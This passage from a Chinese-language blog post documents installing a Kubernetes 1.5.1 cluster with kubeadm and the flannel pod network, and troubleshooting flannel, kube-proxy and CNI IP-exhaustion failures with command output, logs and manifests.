key and certificate. [certificates] Generated API Server key and certificate [certificates] Generated Service Account signing keys [certificates] Created keys and certificates in \u0026quot;/etc/kubernetes/pki\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/kubelet.conf\u0026quot; [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/admin.conf\u0026quot; [apiclient] Created API client, waiting for the control plane to become ready //如果没有挂加速器，可能会在这里hang住。 [apiclient] All control plane components are healthy after 54.789750 seconds [apiclient] Waiting for at least one node to register and become ready [apiclient] First node is ready after 1.003053 seconds [apiclient] Creating a test deployment [apiclient] Test deployment succeeded [token-discovery] Created the kube-discovery deployment, waiting for it to become ready [token-discovery] kube-discovery is ready after 62.503441 seconds [addons] Created essential addon: kube-proxy [addons] Created essential addon: kube-dns Your Kubernetes master has initialized successfully! You should now deploy a pod network to the cluster. Run \u0026quot;kubectl apply -f [podnetwork].yaml\u0026quot; with one of the options listed at: http://kubernetes.io/docs/admin/addons/ You can now join any number of machines by running the following on each node: kubeadm join --token=2e7da9.7fc5668ff26430c7 123.56.200.187 init成功后的master node有啥变化？k8s的核心组件均正常启动：\n# ps -ef|grep kube root 2477 2461 1 16:36 ? 00:00:04 kube-proxy --kubeconfig=/run/kubeconfig root 30860 1 12 16:33 ? 00:01:09 /usr/bin/kubelet --kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --cluster-dns=10.96.0.10 --cluster-domain=cluster.local root 30952 30933 0 16:33 ? 00:00:01 kube-scheduler --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 root 31128 31103 2 16:33 ? 00:00:11 kube-controller-manager --address=127.0.0.1 --leader-elect --master=127.0.0.1:8080 --cluster-name=kubernetes --root-ca-file=/etc/kubernetes/pki/ca.pem --service-account-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --cluster-signing-cert-file=/etc/kubernetes/pki/ca.pem --cluster-signing-key-file=/etc/kubernetes/pki/ca-key.pem --insecure-experimental-approve-all-kubelet-csrs-for-group=system:kubelet-bootstrap --allocate-node-cidrs=true --cluster-cidr=10.244.0.0/16 root 31223 31207 2 16:34 ? 00:00:10 kube-apiserver --insecure-bind-address=127.0.0.1 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,PersistentVolumeLabel,DefaultStorageClass,ResourceQuota --service-cluster-ip-range=10.96.0.0/12 --service-account-key-file=/etc/kubernetes/pki/apiserver-key.pem --client-ca-file=/etc/kubernetes/pki/ca.pem --tls-cert-file=/etc/kubernetes/pki/apiserver.pem --tls-private-key-file=/etc/kubernetes/pki/apiserver-key.pem --token-auth-file=/etc/kubernetes/pki/tokens.csv --secure-port=6443 --allow-privileged --advertise-address=123.56.200.187 --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --anonymous-auth=false --etcd-servers=http://127.0.0.1:2379 root 31491 31475 0 16:35 ? 00:00:00 /usr/local/bin/kube-discovery 而且是多以container的形式启动：\n# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES c16c442b7eca gcr.io/google_containers/kube-proxy-amd64:v1.5.1 \u0026quot;kube-proxy --kubecon\u0026quot; 6 minutes ago Up 6 minutes k8s_kube-proxy.36dab4e8_kube-proxy-sb4sm_kube-system_43fb1a2c-cb46-11e6-ad8f-00163e1001d7_2ba1648e 9f73998e01d7 gcr.io/google_containers/kube-discovery-amd64:1.0 \u0026quot;/usr/local/bin/kube-\u0026quot; 8 minutes ago Up 8 minutes k8s_kube-discovery.7130cb0a_kube-discovery-1769846148-6z5pw_kube-system_1eb97044-cb46-11e6-ad8f-00163e1001d7_fd49c2e3 dd5412e5e15c gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 \u0026quot;kube-apiserver --ins\u0026quot; 9 minutes ago Up 9 minutes k8s_kube-apiserver.1c5a91d9_kube-apiserver-iz25beglnhtz_kube-system_eea8df1717e9fea18d266103f9edfac3_8cae8485 60017f8819b2 gcr.io/google_containers/etcd-amd64:3.0.14-kubeadm \u0026quot;etcd --listen-client\u0026quot; 9 minutes ago Up 9 minutes k8s_etcd.c323986f_etcd-iz25beglnhtz_kube-system_3a26566bb004c61cd05382212e3f978f_06d517eb 03c2463aba9c gcr.io/google_containers/kube-controller-manager-amd64:v1.5.1 \u0026quot;kube-controller-mana\u0026quot; 9 minutes ago Up 9 minutes k8s_kube-controller-manager.d30350e1_kube-controller-manager-iz25beglnhtz_kube-system_9a40791dd1642ea35c8d95c9e610e6c1_3b05cb8a fb9a724540a7 gcr.io/google_containers/kube-scheduler-amd64:v1.5.1 \u0026quot;kube-scheduler --add\u0026quot; 9 minutes ago Up 9 minutes k8s_kube-scheduler.ef325714_kube-scheduler-iz25beglnhtz_kube-system_dc58861a0991f940b0834f8a110815cb_9b3ccda2 .... ... 不过这些核心组件并不是跑在pod network中的（没错，此时的pod network还没有创建），而是采用了host network。以kube-apiserver的pod信息为例：\nkube-system kube-apiserver-iz25beglnhtz 1/1 Running 0 1h 10.47.217.91 iz25beglnhtz kube-apiserver的IP是host ip，从而推断容器使用的是host网络，这从其对应的pause容器的network属性就可以看出：\n# docker ps |grep apiserver a5a76bc59e38 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 \u0026quot;kube-apiserver --ins\u0026quot; About an hour ago Up About an hour k8s_kube-apiserver.2529402_kube-apiserver-iz25beglnhtz_kube-system_25d646be9a0092138dc6088fae6f1656_ec0079fc ef4d3bf057a6 gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; About an hour ago Up About an hour k8s_POD.d8dbe16c_kube-apiserver-iz25beglnhtz_kube-system_25d646be9a0092138dc6088fae6f1656_bbfd8a31 inspect pause容器，可以看到pause container的NetworkMode的值：\n\u0026quot;NetworkMode\u0026quot;: \u0026quot;host\u0026quot;, 如果kubeadm init执行过程中途出现了什么问题，比如前期忘记挂加速器导致init hang住，你可能会ctrl+c退出init执行。重新配置后，再执行kubeadm init，这时你可能会遇到下面kubeadm的输出：\n# kubeadm init --pod-network-cidr=10.244.0.0/16 [kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters. [preflight] Running pre-flight checks [preflight] Some fatal errors occurred: Port 10250 is in use /etc/kubernetes/manifests is not empty /etc/kubernetes/pki is not empty /var/lib/kubelet is not empty /etc/kubernetes/admin.conf already exists /etc/kubernetes/kubelet.conf already exists [preflight] If you know what you are doing, you can skip pre-flight checks with `--skip-preflight-checks` kubeadm会自动检查当前环境是否有上次命令执行的“残留”。如果有，必须清理后再行执行init。我们可以通过”kubeadm reset”来清理环境，以备重来。\n# kubeadm reset [preflight] Running pre-flight checks [reset] Draining node: \u0026quot;iz25beglnhtz\u0026quot; [reset] Removing node: \u0026quot;iz25beglnhtz\u0026quot; [reset] Stopping the kubelet service [reset] Unmounting mounted directories in \u0026quot;/var/lib/kubelet\u0026quot; [reset] Removing kubernetes-managed containers [reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/etcd] [reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki] [reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf] 2、安装flannel pod网络 kubeadm init之后，如果你探索一下当前cluster的状态或者核心组件的日志，你会发现某些“异常”，比如：从kubelet的日志中我们可以看到一直刷屏的错误信息：\nDec 26 16:36:48 iZ25beglnhtZ kubelet[30860]: E1226 16:36:48.365885 30860 docker_manager.go:2201] Failed to setup network for pod \u0026quot;kube-dns-2924299975-pddz5_kube-system(43fd7264-cb46-11e6-ad8f-00163e1001d7)\u0026quot; using network plugins \u0026quot;cni\u0026quot;: cni config unintialized; Skipping pod 通过命令kubectl get pod –all-namespaces -o wide，你也会发现kube-dns pod处于ContainerCreating状态。\n这些都不打紧，因为我们还没有为cluster安装Pod network呢。前面说过，我们要使用Flannel网络，因此我们需要执行如下安装命令：\n#kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml configmap \u0026quot;kube-flannel-cfg\u0026quot; created daemonset \u0026quot;kube-flannel-ds\u0026quot; created 稍等片刻，我们再来看master node上的cluster信息：\n# ps -ef|grep kube|grep flannel root 6517 6501 0 17:20 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr root 6573 6546 0 17:20 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done # kubectl get pods --all-namespaces NAMESPACE NAME READY STATUS RESTARTS AGE kube-system dummy-2088944543-s0c5g 1/1 Running 0 50m kube-system etcd-iz25beglnhtz 1/1 Running 0 50m kube-system kube-apiserver-iz25beglnhtz 1/1 Running 0 50m kube-system kube-controller-manager-iz25beglnhtz 1/1 Running 0 50m kube-system kube-discovery-1769846148-6z5pw 1/1 Running 0 50m kube-system kube-dns-2924299975-pddz5 4/4 Running 0 49m kube-system kube-flannel-ds-5ww9k 2/2 Running 0 4m kube-system kube-proxy-sb4sm 1/1 Running 0 49m kube-system kube-scheduler-iz25beglnhtz 1/1 Running 0 49m 至少集群的核心组件已经全部run起来了。看起来似乎是成功了。\n3、minion node：join the cluster 接下来，就该minion node加入cluster了。这里我们用到了kubeadm的第二个命令：kubeadm join。\n在minion node上执行（注意：这里要保证master node的9898端口在防火墙是打开的）：\n# kubeadm join --token=2e7da9.7fc5668ff26430c7 123.56.200.187 [kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters. [preflight] Running pre-flight checks [tokens] Validating provided token [discovery] Created cluster info discovery client, requesting info from \u0026quot;http://123.56.200.187:9898/cluster-info/v1/?token-id=2e7da9\u0026quot; [discovery] Cluster info object received, verifying signature using given token [discovery] Cluster info signature and contents are valid, will use API endpoints [https://123.56.200.187:6443] [bootstrap] Trying to connect to endpoint https://123.56.200.187:6443 [bootstrap] Detected server version: v1.5.1 [bootstrap] Successfully established connection with endpoint \u0026quot;https://123.56.200.187:6443\u0026quot; [csr] Created API client to obtain unique certificate for this node, generating keys and certificate signing request [csr] Received signed certificate from the API server: Issuer: CN=kubernetes | Subject: CN=system:node:iZ2ze39jeyizepdxhwqci6Z | CA: false Not before: 2016-12-26 09:31:00 +0000 UTC Not After: 2017-12-26 09:31:00 +0000 UTC [csr] Generating kubelet configuration [kubeconfig] Wrote KubeConfig file to disk: \u0026quot;/etc/kubernetes/kubelet.conf\u0026quot; Node join complete: * Certificate signing request sent to master and response received. * Kubelet informed of new secure connection details. Run 'kubectl get nodes' on the master to see this machine join. 也很顺利。我们在minion node上看到的k8s组件情况如下：\nd85cf36c18ed gcr.io/google_containers/kube-proxy-amd64:v1.5.1 \u0026quot;kube-proxy --kubecon\u0026quot; About an hour ago Up About an hour k8s_kube-proxy.36dab4e8_kube-proxy-lsn0t_kube-system_b8eddf1c-cb4e-11e6-ad8f-00163e1001d7_5826f32b a60e373b48b8 gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; About an hour ago Up About an hour k8s_POD.d8dbe16c_kube-proxy-lsn0t_kube-system_b8eddf1c-cb4e-11e6-ad8f-00163e1001d7_46bfcf67 a665145eb2b5 quay.io/coreos/flannel-git:v0.6.1-28-g5dde68d-amd64 \u0026quot;/bin/sh -c 'set -e -\u0026quot; About an hour ago Up About an hour k8s_install-cni.17d8cf2_kube-flannel-ds-tr8zr_kube-system_06eca729-cb72-11e6-ad8f-00163e1001d7_01e12f61 5b46f2cb0ccf gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; About an hour ago Up About an hour k8s_POD.d8dbe16c_kube-flannel-ds-tr8zr_kube-system_06eca729-cb72-11e6-ad8f-00163e1001d7_ac880d20 我们在master node上查看当前cluster状态：\n# kubectl get nodes NAME STATUS AGE iz25beglnhtz Ready,master 1h iz2ze39jeyizepdxhwqci6z Ready 21s k8s cluster创建”成功”！真的成功了吗？“折腾”才刚刚开始:(！\n三、Flannel Pod Network问题 Join成功所带来的“余温”还未散去，我就发现了Flannel pod network的问题，troubleshooting正式开始:(。\n1、minion node上的flannel时不时地报错 刚join时还好好的，可过了没一会儿，我们就发现在kubectl get pod –all-namespaces中有错误出现：\nkube-system kube-flannel-ds-tr8zr 1/2 CrashLoopBackOff 189 16h 我们发现这是minion node上的flannel pod中的一个container出错导致的，跟踪到的具体错误如下：\n# docker logs bc0058a15969 E1227 06:17:50.605110 1 main.go:127] Failed to create SubnetManager: error retrieving pod spec for 'kube-system/kube-flannel-ds-tr8zr': Get https://10.96.0.1:443/api/v1/namespaces/kube-system/pods/kube-flannel-ds-tr8zr: dial tcp 10.96.0.1:443: i/o timeout 10.96.0.1是pod network中apiserver service的cluster ip，而minion node上的flannel组件居然无法访问到这个cluster ip！这个问题的奇怪之处还在于，有些时候这个Pod在被调度restart N多次后或者被删除重启后，又突然变为running状态了，行为十分怪异。\n在flannel github.com issues中，至少有两个open issue与此问题有密切关系：\nhttps://github.com/coreos/flannel/issues/545\nhttps://github.com/coreos/flannel/issues/535\n这个问题暂无明确解。当minion node上的flannel pod自恢复为running状态时，我们又可以继续了。\n2、minion node上flannel pod启动失败的一个应对方法 在下面issue中，很多developer讨论了minion node上flannel pod启动失败的一种可能原因以及临时应对方法：\nhttps://github.com/kubernetes/kubernetes/issues/34101\n这种说法大致就是minion node上的kube-proxy使用了错误的interface，通过下面方法可以fix这个问题。在minion node上执行：\n# kubectl -n kube-system get ds -l 'component=kube-proxy' -o json | jq '.items[0].spec.template.spec.containers[0].command |= .+ [\u0026quot;--cluster-cidr=10.244.0.0/16\u0026quot;]' | kubectl apply -f - \u0026amp;\u0026amp; kubectl -n kube-system delete pods -l 'component=kube-proxy' daemonset \u0026quot;kube-proxy\u0026quot; configured pod \u0026quot;kube-proxy-lsn0t\u0026quot; deleted pod \u0026quot;kube-proxy-sb4sm\u0026quot; deleted 执行后，flannel pod的状态：\nkube-system kube-flannel-ds-qw291 2/2 Running 8 17h kube-system kube-flannel-ds-x818z 2/2 Running 17 1h 经过17次restart，minion node上的flannel pod 启动ok了。其对应的flannel container启动日志如下：\n# docker logs 1f64bd9c0386 I1227 07:43:26.670620 1 main.go:132] Installing signal handlers I1227 07:43:26.671006 1 manager.go:133] Determining IP address of default interface I1227 07:43:26.670825 1 kube.go:233] starting kube subnet manager I1227 07:43:26.671514 1 manager.go:163] Using 59.110.67.15 as external interface I1227 07:43:26.671575 1 manager.go:164] Using 59.110.67.15 as external endpoint I1227 07:43:26.746811 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j RETURN I1227 07:43:26.749785 1 ipmasq.go:47] Adding iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j MASQUERADE I1227 07:43:26.752343 1 ipmasq.go:47] Adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j MASQUERADE I1227 07:43:26.755126 1 manager.go:246] Lease acquired: 10.244.1.0/24 I1227 07:43:26.755444 1 network.go:58] Watching for L3 misses I1227 07:43:26.755475 1 network.go:66] Watching for new subnet leases I1227 07:43:27.755830 1 network.go:153] Handling initial subnet events I1227 07:43:27.755905 1 device.go:163] calling GetL2List() dev.link.Index: 10 I1227 07:43:27.756099 1 device.go:168] calling NeighAdd: 123.56.200.187, ca:68:7c:9b:cc:67 issue中说到，在kubeadm init时，显式地指定–advertise-address将会避免这个问题。不过目前不要在–advertise-address后面写上多个IP，虽然文档上说是支持的，但实际情况是，当你显式指定–advertise-address的值为两个或两个以上IP时，比如下面这样：\n#kubeadm init --api-advertise-addresses=10.47.217.91,123.56.200.187 --pod-network-cidr=10.244.0.0/16 master初始化成功后，当minion node执行join cluster命令时，会panic掉：\n# kubeadm join --token=92e977.f1d4d090906fc06a 10.47.217.91 [kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters. ... ... [bootstrap] Successfully established connection with endpoint \u0026quot;https://10.47.217.91:6443\u0026quot; [bootstrap] Successfully established connection with endpoint \u0026quot;https://123.56.200.187:6443\u0026quot; E1228 10:14:05.405294 28378 runtime.go:64] Observed a panic: \u0026quot;close of closed channel\u0026quot; (close of closed channel) /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:70 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:63 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:49 /usr/local/go/src/runtime/asm_amd64.s:479 /usr/local/go/src/runtime/panic.go:458 /usr/local/go/src/runtime/chan.go:311 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/node/bootstrap.go:85 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/node/bootstrap.go:93 /usr/local/go/src/runtime/asm_amd64.s:2086 [csr] Created API client to obtain unique certificate for this node, generating keys and certificate signing request panic: close of closed channel [recovered] panic: close of closed channel goroutine 29 [running]: panic(0x1342de0, 0xc4203eebf0) /usr/local/go/src/runtime/panic.go:500 +0x1a1 k8s.io/kubernetes/pkg/util/runtime.HandleCrash(0x0, 0x0, 0x0) /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:56 +0x126 panic(0x1342de0, 0xc4203eebf0) /usr/local/go/src/runtime/panic.go:458 +0x243 k8s.io/kubernetes/cmd/kubeadm/app/node.EstablishMasterConnection.func1.1() /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/node/bootstrap.go:85 +0x29d k8s.io/kubernetes/pkg/util/wait.JitterUntil.func1(0xc420563ee0) /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96 +0x5e k8s.io/kubernetes/pkg/util/wait.JitterUntil(0xc420563ee0, 0x12a05f200, 0x0, 0xc420022e01, 0xc4202c2060) /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97 +0xad k8s.io/kubernetes/pkg/util/wait.Until(0xc420563ee0, 0x12a05f200, 0xc4202c2060) /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52 +0x4d k8s.io/kubernetes/cmd/kubeadm/app/node.EstablishMasterConnection.func1(0xc4203a82f0, 0xc420269b90, 0xc4202c2060, 0xc4202c20c0, 0xc4203d8d80, 0x401, 0x480, 0xc4201e75e0, 0x17, 0xc4201e7560, ...) /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/node/bootstrap.go:93 +0x100 created by k8s.io/kubernetes/cmd/kubeadm/app/node.EstablishMasterConnection /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubeadm/app/node/bootstrap.go:94 +0x3ed 关于join panic这个问题，在这个issue中有详细讨论：https://github.com/kubernetes/kubernetes/issues/36988\n3、open /run/flannel/subnet.env: no such file or directory 前面说过，默认情况下，考虑安全原因，master node是不承担work load的，不参与pod调度。我们这里机器少，只能让master node也辛苦一下。通过下面这个命令可以让master node也参与pod调度：\n# kubectl taint nodes --all dedicated- node \u0026quot;iz25beglnhtz\u0026quot; tainted 接下来，我们create一个deployment，manifest描述文件如下：\n//run-my-nginx.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-nginx spec: replicas: 2 template: metadata: labels: run: my-nginx spec: containers: - name: my-nginx image: nginx:1.10.1 ports: - containerPort: 80 create后，我们发现调度到master上的my-nginx pod启动是ok的，但minion node上的pod则一直失败，查看到的失败原因如下：\nEvents: FirstSeen LastSeen Count From SubObjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 28s 28s 1 {default-scheduler } Normal Scheduled Successfully assigned my-nginx-2560993602-0440x to iz2ze39jeyizepdxhwqci6z 27s 1s 26 {kubelet iz2ze39jeyizepdxhwqci6z} Warning FailedSync Error syncing pod, skipping: failed to \u0026quot;SetupNetwork\u0026quot; for \u0026quot;my-nginx-2560993602-0440x_default\u0026quot; with SetupNetworkError: \u0026quot;Failed to setup network for pod \\\u0026quot;my-nginx-2560993602-0440x_default(ba5ce554-cbf1-11e6-8c42-00163e1001d7)\\\u0026quot; using network plugins \\\u0026quot;cni\\\u0026quot;: open /run/flannel/subnet.env: no such file or directory; Skipping pod\u0026quot; 在minion node上的确没有找到/run/flannel/subnet.env该文件。但master node上有这个文件：\n// /run/flannel/subnet.env FLANNEL_NETWORK=10.244.0.0/16 FLANNEL_SUBNET=10.244.0.1/24 FLANNEL_MTU=1450 FLANNEL_IPMASQ=true 于是手动在minion node上创建一份/run/flannel/subnet.env，并复制master node同名文件的内容，保存。稍许片刻，minion node上的my-nginx pod从error变成running了。\n4、no IP addresses available in network: cbr0 将之前的一个my-nginx deployment的replicas改为3，并创建基于该deployment中pods的my-nginx service：\n//my-nginx-svc.yaml apiVersion: v1 kind: Service metadata: name: my-nginx labels: run: my-nginx spec: type: NodePort ports: - port: 80 nodePort: 30062 protocol: TCP selector: run: my-nginx 修改后，通过curl localhost:30062测试服务连通性。发现通过VIP负载均衡到master node上的my-nginx pod的request都成功得到了Response，但是负载均衡到minion node上pod的request，则阻塞在那里，直到timeout。查看pod信息才发现，原来新调度到minion node上的my-nginx pod并没有启动ok，错误原因如下：\nEvents: FirstSeen LastSeen Count From SubObjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 2m 2m 1 {default-scheduler } Normal Scheduled Successfully assigned my-nginx-1948696469-ph11m to iz2ze39jeyizepdxhwqci6z 2m 0s 177 {kubelet iz2ze39jeyizepdxhwqci6z} Warning FailedSync Error syncing pod, skipping: failed to \u0026quot;SetupNetwork\u0026quot; for \u0026quot;my-nginx-1948696469-ph11m_default\u0026quot; with SetupNetworkError: \u0026quot;Failed to setup network for pod \\\u0026quot;my-nginx-1948696469-ph11m_default(3700d74a-cc12-11e6-8c42-00163e1001d7)\\\u0026quot; using network plugins \\\u0026quot;cni\\\u0026quot;: no IP addresses available in network: cbr0; Skipping pod\u0026quot; 查看minion node上/var/lib/cni/networks/cbr0目录，发现该目录下有如下文件：\n10.244.1.10 10.244.1.12 10.244.1.14 10.244.1.16 10.244.1.18 10.244.1.2 10.244.1.219 10.244.1.239 10.244.1.3 10.244.1.5 10.244.1.7 10.244.1.9 10.244.1.100 10.244.1.120 10.244.1.140 10.244.1.160 10.244.1.180 10.244.1.20 10.244.1.22 10.244.1.24 10.244.1.30 10.244.1.50 10.244.1.70 10.244.1.90 10.244.1.101 10.244.1.121 10.244.1.141 10.244.1.161 10.244.1.187 10.244.1.200 10.244.1.220 10.244.1.240 10.244.1.31 10.244.1.51 10.244.1.71 10.244.1.91 10.244.1.102 10.244.1.122 10.244.1.142 10.244.1.162 10.244.1.182 10.244.1.201 10.244.1.221 10.244.1.241 10.244.1.32 10.244.1.52 10.244.1.72 10.244.1.92 10.244.1.103 10.244.1.123 10.244.1.143 10.244.1.163 10.244.1.183 10.244.1.202 10.244.1.222 10.244.1.242 10.244.1.33 10.244.1.53 10.244.1.73 10.244.1.93 10.244.1.104 10.244.1.124 10.244.1.144 10.244.1.164 10.244.1.184 10.244.1.203 10.244.1.223 10.244.1.243 10.244.1.34 10.244.1.54 10.244.1.74 10.244.1.94 10.244.1.105 10.244.1.125 10.244.1.145 10.244.1.165 10.244.1.185 10.244.1.204 10.244.1.224 10.244.1.244 10.244.1.35 10.244.1.55 10.244.1.75 10.244.1.95 10.244.1.106 10.244.1.126 10.244.1.146 10.244.1.166 10.244.1.186 10.244.1.205 10.244.1.225 10.244.1.245 10.244.1.36 10.244.1.56 10.244.1.76 10.244.1.96 10.244.1.107 10.244.1.127 10.244.1.147 10.244.1.167 10.244.1.187 10.244.1.206 10.244.1.226 10.244.1.246 10.244.1.37 10.244.1.57 10.244.1.77 10.244.1.97 10.244.1.108 10.244.1.128 10.244.1.148 10.244.1.168 10.244.1.188 10.244.1.207 10.244.1.227 10.244.1.247 10.244.1.38 10.244.1.58 10.244.1.78 10.244.1.98 10.244.1.109 10.244.1.129 10.244.1.149 10.244.1.169 10.244.1.189 10.244.1.208 10.244.1.228 10.244.1.248 10.244.1.39 10.244.1.59 10.244.1.79 10.244.1.99 10.244.1.11 10.244.1.13 10.244.1.15 10.244.1.17 10.244.1.19 10.244.1.209 10.244.1.229 10.244.1.249 10.244.1.4 10.244.1.6 10.244.1.8 last_reserved_ip 10.244.1.110 10.244.1.130 10.244.1.150 10.244.1.170 10.244.1.190 10.244.1.21 10.244.1.23 10.244.1.25 10.244.1.40 10.244.1.60 10.244.1.80 10.244.1.111 10.244.1.131 10.244.1.151 10.244.1.171 10.244.1.191 10.244.1.210 10.244.1.230 10.244.1.250 10.244.1.41 10.244.1.61 10.244.1.81 10.244.1.112 10.244.1.132 10.244.1.152 10.244.1.172 10.244.1.192 10.244.1.211 10.244.1.231 10.244.1.251 10.244.1.42 10.244.1.62 10.244.1.82 10.244.1.113 10.244.1.133 10.244.1.153 10.244.1.173 10.244.1.193 10.244.1.212 10.244.1.232 10.244.1.252 10.244.1.43 10.244.1.63 10.244.1.83 10.244.1.114 10.244.1.134 10.244.1.154 10.244.1.174 10.244.1.194 10.244.1.213 10.244.1.233 10.244.1.253 10.244.1.44 10.244.1.64 10.244.1.84 10.244.1.115 10.244.1.135 10.244.1.155 10.244.1.175 10.244.1.195 10.244.1.214 10.244.1.234 10.244.1.254 10.244.1.45 10.244.1.65 10.244.1.85 10.244.1.116 10.244.1.136 10.244.1.156 10.244.1.176 10.244.1.196 10.244.1.215 10.244.1.235 10.244.1.26 10.244.1.46 10.244.1.66 10.244.1.86 10.244.1.117 10.244.1.137 10.244.1.157 10.244.1.177 10.244.1.197 10.244.1.216 10.244.1.236 10.244.1.27 10.244.1.47 10.244.1.67 10.244.1.87 10.244.1.118 10.244.1.138 10.244.1.158 10.244.1.178 10.244.1.198 10.244.1.217 10.244.1.237 10.244.1.28 10.244.1.48 10.244.1.68 10.244.1.88 10.244.1.119 10.244.1.139 10.244.1.159 10.244.1.179 10.244.1.199 10.244.1.218 10.244.1.238 10.244.1.29 10.244.1.49 10.244.1.69 10.244.1.89 这已经将10.244.1.x段的所有ip占满，自然没有available的IP可供新pod使用了。至于为何占满，这个原因尚不明朗。下面两个open issue与这个问题相关：\nhttps://github.com/containernetworking/cni/issues/306\nhttps://github.com/kubernetes/kubernetes/issues/21656\n进入到/var/lib/cni/networks/cbr0目录下，执行下面命令可以释放那些可能是kubelet leak的IP资源：\nfor hash in $(tail -n +1 * | grep '^[A-Za-z0-9]*$' | cut -c 1-8); do if [ -z $(docker ps -a | grep $hash | awk '{print $1}') ]; then grep -irl $hash ./; fi; done | xargs rm 执行后，目录下的文件列表变成了：\nls -l total 32 drw-r--r-- 2 root root 12288 Dec 27 17:11 ./ drw-r--r-- 3 root root 4096 Dec 27 13:52 ../ -rw-r--r-- 1 root root 64 Dec 27 17:11 10.244.1.2 -rw-r--r-- 1 root root 64 Dec 27 17:11 10.244.1.3 -rw-r--r-- 1 root root 64 Dec 27 17:11 10.244.1.4 -rw-r--r-- 1 root root 10 Dec 27 17:11 last_reserved_ip 不过pod仍然处于失败状态，但这次失败的原因又发生了变化：\nEvents: FirstSeen LastSeen Count From SubObjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 23s 23s 1 {default-scheduler } Normal Scheduled Successfully assigned my-nginx-1948696469-7p4nn to iz2ze39jeyizepdxhwqci6z 22s 1s 22 {kubelet iz2ze39jeyizepdxhwqci6z} Warning FailedSync Error syncing pod, skipping: failed to \u0026quot;SetupNetwork\u0026quot; for \u0026quot;my-nginx-1948696469-7p4nn_default\u0026quot; with SetupNetworkError: \u0026quot;Failed to setup network for pod \\\u0026quot;my-nginx-1948696469-7p4nn_default(a40fe652-cc14-11e6-8c42-00163e1001d7)\\\u0026quot; using network plugins \\\u0026quot;cni\\\u0026quot;: \\\u0026quot;cni0\\\u0026quot; already has an IP address different from 10.244.1.1/24; Skipping pod\u0026quot; 而/var/lib/cni/networks/cbr0目录下的文件又开始迅速增加！问题陷入僵局。\n5、flannel vxlan不通，后端换udp，仍然不通 折腾到这里，基本筋疲力尽了。于是在两个node上执行kubeadm reset，准备重新来过。\nkubeadm reset后，之前flannel创建的bridge device cni0和网口设备flannel.1依然健在。为了保证环境彻底恢复到初始状态，我们可以通过下面命令删除这两个设备：\n# ifconfig cni0 down # brctl delbr cni0 # ip link delete flannel.1 有了前面几个问题的“磨炼”后，重新init和join的k8s cluster显得格外顺利。这次minion node没有再出现什么异常。\n# kubectl get nodes -o wide NAME STATUS AGE EXTERNAL-IP iz25beglnhtz Ready,master 5m \u0026lt;none\u0026gt; iz2ze39jeyizepdxhwqci6z Ready 51s \u0026lt;none\u0026gt; # kubectl get pod --all-namespaces NAMESPACE NAME READY STATUS RESTARTS AGE default my-nginx-1948696469-71h1l 1/1 Running 0 3m default my-nginx-1948696469-zwt5g 1/1 Running 0 3m default my-ubuntu-2560993602-ftdm6 1/1 Running 0 3m kube-system dummy-2088944543-lmlbh 1/1 